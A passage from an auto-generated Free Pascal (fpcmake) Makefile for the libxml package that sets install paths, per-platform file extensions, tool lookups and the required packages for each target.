$(FPCDIR)/units/$(TARGETSUFFIX))\nifeq ($(UNITSDIR),)\nUNITSDIR:=$(wildcard $(FPCDIR)/units/$(OS_TARGET))\nendif\nPACKAGESDIR:=$(wildcard $(FPCDIR) $(FPCDIR)/packages)\nifndef FPCFPMAKE\nifdef CROSSCOMPILE\nifeq ($(strip $(wildcard $(addsuffix /compiler/ppc$(SRCEXEEXT),$(FPCDIR)))),)\nFPCPROG:=$(strip $(wildcard $(addsuffix /fpc$(SRCEXEEXT),$(SEARCHPATH))))\nifneq ($(FPCPROG),)\nFPCPROG:=$(firstword $(FPCPROG))\nFPCFPMAKE:=$(shell $(FPCPROG) -PB)\nifeq ($(strip $(wildcard $(FPCFPMAKE))),)\nFPCFPMAKE:=$(firstword $(FPCPROG))\nendif\nelse\noverride FPCFPMAKE=$(firstword $(strip $(wildcard $(addsuffix /ppc386$(SRCEXEEXT),$(SEARCHPATH)))))\nendif\nelse\nFPCFPMAKE=$(strip $(wildcard $(addsuffix /compiler/ppc$(SRCEXEEXT),$(FPCDIR))))\nFPMAKE_SKIP_CONFIG=-n\nexport FPCFPMAKE\nexport FPMAKE_SKIP_CONFIG\nendif\nelse\nFPMAKE_SKIP_CONFIG=-n\nFPCFPMAKE=$(FPC)\nendif\nendif\noverride PACKAGE_NAME=libxml\noverride PACKAGE_VERSION=3.3.1\nFPMAKE_BIN_CLEAN=$(wildcard ./fpmake$(SRCEXEEXT))\nifdef OS_TARGET\nFPC_TARGETOPT+=--os=$(OS_TARGET)\nendif\nifdef CPU_TARGET\nFPC_TARGETOPT+=--cpu=$(CPU_TARGET)\nendif\nLOCALFPMAKE=./fpmake$(SRCEXEEXT)\noverride INSTALL_FPCPACKAGE=y\nifdef REQUIRE_UNITSDIR\noverride UNITSDIR+=$(REQUIRE_UNITSDIR)\nendif\nifdef REQUIRE_PACKAGESDIR\noverride PACKAGESDIR+=$(REQUIRE_PACKAGESDIR)\nendif\nifdef ZIPINSTALL\nifneq ($(findstring $(OS_TARGET),$(UNIXs)),)\nUNIXHier=1\nendif\nelse\nifneq ($(findstring $(OS_SOURCE),$(UNIXs)),)\nUNIXHier=1\nendif\nendif\nifndef INSTALL_PREFIX\nifdef PREFIX\nINSTALL_PREFIX=$(PREFIX)\nendif\nendif\nifndef INSTALL_PREFIX\nifdef UNIXHier\nINSTALL_PREFIX=/usr/local\nelse\nifdef INSTALL_FPCPACKAGE\nINSTALL_BASEDIR:=/pp\nelse\nINSTALL_BASEDIR:=/$(PACKAGE_NAME)\nendif\nendif\nendif\nexport INSTALL_PREFIX\nifdef INSTALL_FPCSUBDIR\nexport INSTALL_FPCSUBDIR\nendif\nifndef DIST_DESTDIR\nDIST_DESTDIR:=$(BASEDIR)\nendif\nexport DIST_DESTDIR\nifndef COMPILER_UNITTARGETDIR\nifdef PACKAGEDIR_MAIN\nCOMPILER_UNITTARGETDIR=$(PACKAGEDIR_MAIN)/units/$(TARGETSUFFIX)\nelse\nCOMPILER_UNITTARGETDIR=units/$(TARGETSUFFIX)\nendif\nendif\nifndef COMPILER_TARGETDIR\nCOMPILER_TARGETDIR=.\nendif\nifndef INSTALL_BASEDIR\nifdef UNIXHier\nifdef INSTALL_FPCPACKAGE\nINSTALL_BASEDIR:=$(INSTALL_PREFIX)/lib/fpc/$(FPC_VERSION)\nelse\nINSTALL_BASEDIR:=$(INSTALL_PREFIX)/lib/$(PACKAGE_NAME)\nendif\nelse\nINSTALL_BASEDIR:=$(INSTALL_PREFIX)\nendif\nendif\nifndef INSTALL_BINDIR\nifdef UNIXHier\nINSTALL_BINDIR:=$(INSTALL_PREFIX)/bin\nelse\nINSTALL_BINDIR:=$(INSTALL_BASEDIR)/bin\nifdef INSTALL_FPCPACKAGE\nifdef CROSSCOMPILE\nifdef CROSSINSTALL\nINSTALL_BINDIR:=$(INSTALL_BINDIR)/$(SOURCESUFFIX)\nelse\nINSTALL_BINDIR:=$(INSTALL_BINDIR)/$(TARGETSUFFIX)\nendif\nelse\nINSTALL_BINDIR:=$(INSTALL_BINDIR)/$(TARGETSUFFIX)\nendif\nendif\nendif\nendif\nifndef INSTALL_UNITDIR\nINSTALL_UNITDIR:=$(INSTALL_BASEDIR)/units/$(TARGETSUFFIX)\nifdef INSTALL_FPCPACKAGE\nifdef PACKAGE_NAME\nINSTALL_UNITDIR:=$(INSTALL_UNITDIR)/$(PACKAGE_NAME)\nendif\nendif\nendif\nifndef INSTALL_LIBDIR\nifdef UNIXHier\nINSTALL_LIBDIR:=$(INSTALL_PREFIX)/lib\nelse\nINSTALL_LIBDIR:=$(INSTALL_UNITDIR)\nendif\nendif\nifndef INSTALL_SOURCEDIR\nifdef UNIXHier\nifdef BSDhier\nSRCPREFIXDIR=share/src\nelse\nifdef linuxHier\nSRCPREFIXDIR=share/src\nelse\nSRCPREFIXDIR=src\nendif\nendif\nifdef INSTALL_FPCPACKAGE\nifdef INSTALL_FPCSUBDIR\nINSTALL_SOURCEDIR:=$(INSTALL_PREFIX)/$(SRCPREFIXDIR)/fpc-$(FPC_VERSION)/$(INSTALL_FPCSUBDIR)/$(PACKAGE_NAME)\nelse\nINSTALL_SOURCEDIR:=$(INSTALL_PREFIX)/$(SRCPREFIXDIR)/fpc-$(FPC_VERSION)/$(PACKAGE_NAME)\nendif\nelse\nINSTALL_SOURCEDIR:=$(INSTALL_PREFIX)/$(SRCPREFIXDIR)/$(PACKAGE_NAME)-$(PACKAGE_VERSION)\nendif\nelse\nifdef INSTALL_FPCPACKAGE\nifdef INSTALL_FPCSUBDIR\nINSTALL_SOURCEDIR:=$(INSTALL_BASEDIR)/source/$(INSTALL_FPCSUBDIR)/$(PACKAGE_NAME)\nelse\nINSTALL_SOURCEDIR:=$(INSTALL_BASEDIR)/source/$(PACKAGE_NAME)\nendif\nelse\nINSTALL_SOURCEDIR:=$(INSTALL_BASEDIR)/source\nendif\nendif\nendif\nifndef INSTALL_DOCDIR\nifdef UNIXHier\nifdef BSDhier\nDOCPREFIXDIR=share/doc\nelse\nifdef linuxHier\nDOCPREFIXDIR=share/doc\nelse\nDOCPREFIXDIR=doc\nendif\nendif\nifdef INSTALL_FPCPACKAGE\nINSTALL_DOCDIR:=$(INSTALL_PREFIX)/$(DOCPREFIXDIR)/fpc-$(FPC_VERSION)/$(PACKAGE_NAME)\nelse\nINSTALL_DOCDIR:=$(INSTALL_PREFIX)/$(DOCPREFIXDIR)/$(PACKAGE_NAME)-$(PACKAGE_VERSION)\nendif\nelse\nifdef INSTALL_FPCPACKAGE\nINSTALL_DOCDIR:=$(INSTALL_BASEDIR)/doc/$(PACKAGE_NAME)\nelse\nINSTALL_DOCDIR:=$(INSTALL_BASEDIR)/doc\nendif\nendif\nendif\nifndef INSTALL_EXAMPLEDIR\nifdef UNIXHier\nifdef INSTALL_FPCPACKAGE\nifdef BSDhier\nINSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/share/examples/fpc-$(FPC_VERSION)/$(PACKAGE_NAME)\nelse\nifdef linuxHier\nINSTALL_EXAMPLEDIR:=$(INSTALL_DOCDIR)/examples\nelse\nINSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/doc/fpc-$(FPC_VERSION)/examples/$(PACKAGE_NAME)\nendif\nendif\nelse\nifdef BSDhier\nINSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/share/examples/$(PACKAGE_NAME)-$(PACKAGE_VERSION)\nelse\nifdef linuxHier\nINSTALL_EXAMPLEDIR:=$(INSTALL_DOCDIR)/examples/$(PACKAGE_NAME)-$(PACKAGE_VERSION)\nelse\nINSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/doc/$(PACKAGE_NAME)-$(PACKAGE_VERSION)\nendif\nendif\nendif\nelse\nifdef INSTALL_FPCPACKAGE\nINSTALL_EXAMPLEDIR:=$(INSTALL_BASEDIR)/examples/$(PACKAGE_NAME)\nelse\nINSTALL_EXAMPLEDIR:=$(INSTALL_BASEDIR)/examples\nendif\nendif\nendif\nifndef INSTALL_DATADIR\nINSTALL_DATADIR=$(INSTALL_BASEDIR)\nendif\nifndef INSTALL_SHAREDDIR\nINSTALL_SHAREDDIR=$(INSTALL_PREFIX)/lib\nendif\nifdef CROSSCOMPILE\nifndef CROSSBINDIR\nCROSSBINDIR:=$(wildcard $(CROSSTARGETDIR)/bin/$(SOURCESUFFIX))\nifeq ($(CROSSBINDIR),)\nCROSSBINDIR:=$(wildcard $(INSTALL_BASEDIR)/cross/$(TARGETSUFFIX)/bin/$(FULL_SOURCE))\nendif\nendif\nelse\nCROSSBINDIR=\nendif\nifeq ($(OS_SOURCE),linux)\nifndef GCCLIBDIR\nifeq ($(CPU_TARGET),i386)\nifneq ($(findstring x86_64,$(shell uname -a)),)\nifeq ($(BINUTILSPREFIX),)\nGCCLIBDIR:=$(shell dirname `gcc -m32 -print-libgcc-file-name`)\nelse\nCROSSGCCOPT=-m32\nendif\nendif\nendif\nifeq ($(CPU_TARGET),powerpc)\nifeq ($(BINUTILSPREFIX),)\nGCCLIBDIR:=$(shell dirname `gcc -m32 -print-libgcc-file-name`)\nelse\nCROSSGCCOPT=-m32\nendif\nendif\nifeq ($(CPU_TARGET),powerpc64)\nifeq ($(BINUTILSPREFIX),)\nGCCLIBDIR:=$(shell dirname `gcc -m64 -print-libgcc-file-name`)\nelse\nCROSSGCCOPT=-m64\nendif\nendif\nifeq ($(CPU_TARGET),sparc)\nifneq ($(findstring sparc64,$(shell uname -a)),)\nifeq ($(BINUTILSPREFIX),)\nGCCLIBDIR:=$(shell dirname `gcc -m32 -print-libgcc-file-name`)\nelse\nCROSSGCCOPT=-m32\nendif\nendif\nendif\nendif\nifdef FPCFPMAKE\nFPCFPMAKE_CPU_TARGET=$(shell $(FPCFPMAKE) -iTP)\nifeq ($(CPU_TARGET),$(FPCFPMAKE_CPU_TARGET))\nFPCMAKEGCCLIBDIR:=$(GCCLIBDIR)\nendif\nendif\nifndef FPCMAKEGCCLIBDIR\nFPCMAKEGCCLIBDIR:=$(shell dirname `gcc -print-libgcc-file-name`)\nendif\nifndef GCCLIBDIR\nCROSSGCC=$(strip $(wildcard $(addsuffix /$(BINUTILSPREFIX)gcc$(SRCEXEEXT),$(SEARCHPATH))))\nifneq ($(CROSSGCC),)\nGCCLIBDIR:=$(shell dirname `$(CROSSGCC) $(CROSSGCCOPT) -print-libgcc-file-name`)\nendif\nendif\nendif\nifdef inUnix\nifeq ($(OS_SOURCE),netbsd)\nOTHERLIBDIR:=/usr/pkg/lib\nendif\nexport GCCLIBDIR FPCMAKEGCCLIBDIR OTHERLIBDIR\nendif\nBATCHEXT=.bat\nLOADEREXT=.as\nEXEEXT=.exe\nPPLEXT=.ppl\nPPUEXT=.ppu\nOEXT=.o\nLTOEXT=.bc\nASMEXT=.s\nSMARTEXT=.sl\nSTATICLIBEXT=.a\nSHAREDLIBEXT=.so\nSHAREDLIBPREFIX=libfp\nSTATICLIBPREFIX=libp\nIMPORTLIBPREFIX=libimp\nRSTEXT=.rst\nEXEDBGEXT=.dbg\nifeq ($(OS_TARGET),go32v1)\nSTATICLIBPREFIX=\nSHORTSUFFIX=v1\nendif\nifeq ($(OS_TARGET),go32v2)\nSTATICLIBPREFIX=\nSHORTSUFFIX=dos\nIMPORTLIBPREFIX=\nendif\nifeq ($(OS_TARGET),watcom)\nSTATICLIBPREFIX=\nOEXT=.obj\nASMEXT=.asm\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=wat\nIMPORTLIBPREFIX=\nendif\nifneq ($(CPU_TARGET),jvm)\nifeq ($(OS_TARGET),android)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=lnx\nendif\nendif\nifeq ($(OS_TARGET),linux)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=lnx\nendif\nifeq ($(OS_TARGET),dragonfly)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=df\nendif\nifeq ($(OS_TARGET),freebsd)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=fbs\nendif\nifeq ($(OS_TARGET),netbsd)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=nbs\nendif\nifeq ($(OS_TARGET),openbsd)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=obs\nendif\nifeq ($(OS_TARGET),win32)\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=w32\nendif\nifeq ($(OS_TARGET),os2)\nBATCHEXT=.cmd\nAOUTEXT=.out\nSTATICLIBPREFIX=\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=os2\nECHO=echo\nIMPORTLIBPREFIX=\nendif\nifeq ($(OS_TARGET),emx)\nBATCHEXT=.cmd\nAOUTEXT=.out\nSTATICLIBPREFIX=\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=emx\nECHO=echo\nIMPORTLIBPREFIX=\nendif\nifeq ($(OS_TARGET),amiga)\nEXEEXT=\nSHAREDLIBEXT=.library\nSHORTSUFFIX=amg\nendif\nifeq ($(OS_TARGET),aros)\nEXEEXT=\nSHAREDLIBEXT=.library\nSHORTSUFFIX=aros\nendif\nifeq ($(OS_TARGET),morphos)\nEXEEXT=\nSHAREDLIBEXT=.library\nSHORTSUFFIX=mos\nendif\nifeq ($(OS_TARGET),atari)\nEXEEXT=.ttp\nSHORTSUFFIX=ata\nendif\nifeq ($(OS_TARGET),beos)\nBATCHEXT=.sh\nEXEEXT=\nSHORTSUFFIX=be\nendif\nifeq ($(OS_TARGET),haiku)\nBATCHEXT=.sh\nEXEEXT=\nSHORTSUFFIX=hai\nendif\nifeq ($(OS_TARGET),solaris)\nBATCHEXT=.sh\nEXEEXT=\nSHORTSUFFIX=sun\nendif\nifeq ($(OS_TARGET),qnx)\nBATCHEXT=.sh\nEXEEXT=\nSHORTSUFFIX=qnx\nendif\nifeq ($(OS_TARGET),netware)\nEXEEXT=.nlm\nSTATICLIBPREFIX=\nSHORTSUFFIX=nw\nIMPORTLIBPREFIX=imp\nendif\nifeq ($(OS_TARGET),netwlibc)\nEXEEXT=.nlm\nSTATICLIBPREFIX=\nSHORTSUFFIX=nwl\nIMPORTLIBPREFIX=imp\nendif\nifeq ($(OS_TARGET),macosclassic)\nBATCHEXT=\nEXEEXT=\nDEBUGSYMEXT=.xcoff\nSHORTSUFFIX=mac\nIMPORTLIBPREFIX=imp\nendif\nifneq ($(findstring $(OS_TARGET),darwin iphonesim ios),)\nBATCHEXT=.sh\nEXEEXT=\nHASSHAREDLIB=1\nSHORTSUFFIX=dwn\nEXEDBGEXT=.dSYM\nendif\nifeq ($(OS_TARGET),gba)\nEXEEXT=.gba\nSHAREDLIBEXT=.so\nSHORTSUFFIX=gba\nendif\nifeq ($(OS_TARGET),symbian)\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=symbian\nendif\nifeq ($(OS_TARGET),NativeNT)\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=nativent\nendif\nifeq ($(OS_TARGET),wii)\nEXEEXT=.dol\nSHAREDLIBEXT=.so\nSHORTSUFFIX=wii\nendif\nifeq ($(OS_TARGET),aix)\nBATCHEXT=.sh\nEXEEXT=\nSHAREDLIBEXT=.a\nSHORTSUFFIX=aix\nendif\nifeq ($(OS_TARGET),java)\nOEXT=.class\nASMEXT=.j\nSHAREDLIBEXT=.jar\nSHORTSUFFIX=java\nendif\nifeq ($(CPU_TARGET),jvm)\nifeq ($(OS_TARGET),android)\nOEXT=.class\nASMEXT=.j\nSHAREDLIBEXT=.jar\nSHORTSUFFIX=android\nendif\nendif\nifeq ($(OS_TARGET),msdos)\nSTATICLIBPREFIX=\nSTATICLIBEXT=.a\nSHORTSUFFIX=d16\nendif\nifeq ($(OS_TARGET),msxdos)\nSTATICLIBPREFIX=\nSTATICLIBEXT=.a\nSHORTSUFFIX=msd\nendif\nifeq ($(OS_TARGET),embedded)\nifeq ($(CPU_TARGET),i8086)\nSTATICLIBPREFIX=\nSTATICLIBEXT=.a\nelse\nEXEEXT=.bin\nendif\nifeq ($(CPU_TARGET),z80)\nOEXT=.rel\nendif\nSHORTSUFFIX=emb\nendif\nifeq ($(OS_TARGET),win16)\nSTATICLIBPREFIX=\nSTATICLIBEXT=.a\nSHAREDLIBEXT=.dll\nSHORTSUFFIX=w16\nendif\nifeq ($(OS_TARGET),zxspectrum)\nOEXT=.rel\nendif\nifneq ($(findstring $(OS_SOURCE),$(LIMIT83fs)),)\nFPCMADE=fpcmade.$(SHORTSUFFIX)\nZIPSUFFIX=$(SHORTSUFFIX)\nZIPCROSSPREFIX=\nZIPSOURCESUFFIX=src\nZIPEXAMPLESUFFIX=exm\nelse\nFPCMADE=fpcmade.$(TARGETSUFFIX)\nZIPSOURCESUFFIX=.source\nZIPEXAMPLESUFFIX=.examples\nifdef CROSSCOMPILE\nZIPSUFFIX=.$(SOURCESUFFIX)\nZIPCROSSPREFIX=$(TARGETSUFFIX)-\nelse\nZIPSUFFIX=.$(TARGETSUFFIX)\nZIPCROSSPREFIX=\nendif\nendif\nifndef ECHO\nECHO:=$(strip $(wildcard $(addsuffix /gecho$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(ECHO),)\nECHO:=$(strip $(wildcard $(addsuffix /echo$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(ECHO),)\nECHO= __missing_command_ECHO\nelse\nECHO:=$(firstword $(ECHO))\nendif\nelse\nECHO:=$(firstword $(ECHO))\nendif\nendif\nexport ECHO\nifndef DATE\nDATE:=$(strip $(wildcard $(addsuffix /gdate$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(DATE),)\nDATE:=$(strip $(wildcard $(addsuffix /date$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(DATE),)\nDATE= __missing_command_DATE\nelse\nDATE:=$(firstword $(DATE))\nendif\nelse\nDATE:=$(firstword $(DATE))\nendif\nendif\nexport DATE\nifndef GINSTALL\nGINSTALL:=$(strip $(wildcard $(addsuffix /ginstall$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(GINSTALL),)\nGINSTALL:=$(strip $(wildcard $(addsuffix /install$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(GINSTALL),)\nGINSTALL= __missing_command_GINSTALL\nelse\nGINSTALL:=$(firstword $(GINSTALL))\nendif\nelse\nGINSTALL:=$(firstword $(GINSTALL))\nendif\nendif\nexport GINSTALL\nifndef CPPROG\nCPPROG:=$(strip $(wildcard $(addsuffix /cp$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(CPPROG),)\nCPPROG= __missing_command_CPPROG\nelse\nCPPROG:=$(firstword $(CPPROG))\nendif\nendif\nexport CPPROG\nifndef RMPROG\nRMPROG:=$(strip $(wildcard $(addsuffix /rm$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(RMPROG),)\nRMPROG= __missing_command_RMPROG\nelse\nRMPROG:=$(firstword $(RMPROG))\nendif\nendif\nexport RMPROG\nifndef MVPROG\nMVPROG:=$(strip $(wildcard $(addsuffix /mv$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(MVPROG),)\nMVPROG= __missing_command_MVPROG\nelse\nMVPROG:=$(firstword $(MVPROG))\nendif\nendif\nexport MVPROG\nifndef MKDIRPROG\nMKDIRPROG:=$(strip $(wildcard $(addsuffix /gmkdir$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(MKDIRPROG),)\nMKDIRPROG:=$(strip $(wildcard $(addsuffix /mkdir$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(MKDIRPROG),)\nMKDIRPROG= __missing_command_MKDIRPROG\nelse\nMKDIRPROG:=$(firstword $(MKDIRPROG))\nendif\nelse\nMKDIRPROG:=$(firstword $(MKDIRPROG))\nendif\nendif\nexport MKDIRPROG\nifndef ECHOREDIR\nifndef inUnix\nECHOREDIR=echo\nelse\nECHOREDIR=$(ECHO)\nendif\nendif\nifndef COPY\nCOPY:=$(CPPROG) -fp\nendif\nifndef COPYTREE\nCOPYTREE:=$(CPPROG) -Rfp\nendif\nifndef MKDIRTREE\nMKDIRTREE:=$(MKDIRPROG) -p\nendif\nifndef MOVE\nMOVE:=$(MVPROG) -f\nendif\nifndef DEL\nDEL:=$(RMPROG) -f\nendif\nifndef DELTREE\nDELTREE:=$(RMPROG) -rf\nendif\nifndef INSTALL\nifdef inUnix\nINSTALL:=$(GINSTALL) -c -m 644\nelse\nINSTALL:=$(COPY)\nendif\nendif\nifndef INSTALLEXE\nifdef inUnix\nINSTALLEXE:=$(GINSTALL) -c -m 755\nelse\nINSTALLEXE:=$(COPY)\nendif\nendif\nifndef MKDIR\nMKDIR:=$(GINSTALL) -m 755 -d\nendif\nexport ECHOREDIR COPY COPYTREE MOVE DEL DELTREE INSTALL INSTALLEXE MKDIR\nifndef PPUMOVE\nPPUMOVE:=$(strip $(wildcard $(addsuffix /ppumove$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(PPUMOVE),)\nPPUMOVE= __missing_command_PPUMOVE\nelse\nPPUMOVE:=$(firstword $(PPUMOVE))\nendif\nendif\nexport PPUMOVE\nifndef FPCMAKE\nFPCMAKE:=$(strip $(wildcard $(addsuffix /fpcmake$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(FPCMAKE),)\nFPCMAKE= __missing_command_FPCMAKE\nelse\nFPCMAKE:=$(firstword $(FPCMAKE))\nendif\nendif\nexport FPCMAKE\nifndef ZIPPROG\nZIPPROG:=$(strip $(wildcard $(addsuffix /zip$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(ZIPPROG),)\nZIPPROG= __missing_command_ZIPPROG\nelse\nZIPPROG:=$(firstword $(ZIPPROG))\nendif\nendif\nexport ZIPPROG\nifndef TARPROG\nTARPROG:=$(strip $(wildcard $(addsuffix /gtar$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(TARPROG),)\nTARPROG:=$(strip $(wildcard $(addsuffix /tar$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(TARPROG),)\nTARPROG= __missing_command_TARPROG\nelse\nTARPROG:=$(firstword $(TARPROG))\nendif\nelse\nTARPROG:=$(firstword $(TARPROG))\nendif\nendif\nexport TARPROG\nASNAME=$(BINUTILSPREFIX)as\nLDNAME=$(BINUTILSPREFIX)ld\nARNAME=$(BINUTILSPREFIX)ar\nRCNAME=$(BINUTILSPREFIX)rc\nNASMNAME=$(BINUTILSPREFIX)nasm\nifndef ASPROG\nifdef CROSSBINDIR\nASPROG=$(CROSSBINDIR)/$(ASNAME)$(SRCEXEEXT)\nelse\nASPROG=$(ASNAME)\nendif\nendif\nifndef LDPROG\nifdef CROSSBINDIR\nLDPROG=$(CROSSBINDIR)/$(LDNAME)$(SRCEXEEXT)\nelse\nLDPROG=$(LDNAME)\nendif\nendif\nifndef RCPROG\nifdef CROSSBINDIR\nRCPROG=$(CROSSBINDIR)/$(RCNAME)$(SRCEXEEXT)\nelse\nRCPROG=$(RCNAME)\nendif\nendif\nifndef ARPROG\nifdef CROSSBINDIR\nARPROG=$(CROSSBINDIR)/$(ARNAME)$(SRCEXEEXT)\nelse\nARPROG=$(ARNAME)\nendif\nendif\nifndef NASMPROG\nifdef CROSSBINDIR\nNASMPROG=$(CROSSBINDIR)/$(NASMNAME)$(SRCEXEEXT)\nelse\nNASMPROG=$(NASMNAME)\nendif\nendif\nAS=$(ASPROG)\nLD=$(LDPROG)\nRC=$(RCPROG)\nAR=$(ARPROG)\nNASM=$(NASMPROG)\nifdef inUnix\nPPAS=./ppas$(SRCBATCHEXT)\nelse\nPPAS=ppas$(SRCBATCHEXT)\nendif\nifdef inUnix\nLDCONFIG=ldconfig\nelse\nLDCONFIG=\nendif\nifdef DATE\nDATESTR:=$(shell $(DATE) +%Y%m%d)\nelse\nDATESTR=\nendif\nZIPOPT=-9\nZIPEXT=.zip\nifeq ($(USETAR),bz2)\nTAROPT=vj\nTAREXT=.tar.bz2\nelse\nTAROPT=vz\nTAREXT=.tar.gz\nendif\noverride REQUIRE_PACKAGES=rtl fpmkunit\nifeq ($(FULL_TARGET),i386-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-go32v2)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-win32)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-os2)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-freebsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-beos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-haiku)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-netbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-solaris)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-netware)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-openbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-wdosx)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-darwin)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-emx)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-watcom)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-netwlibc)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq 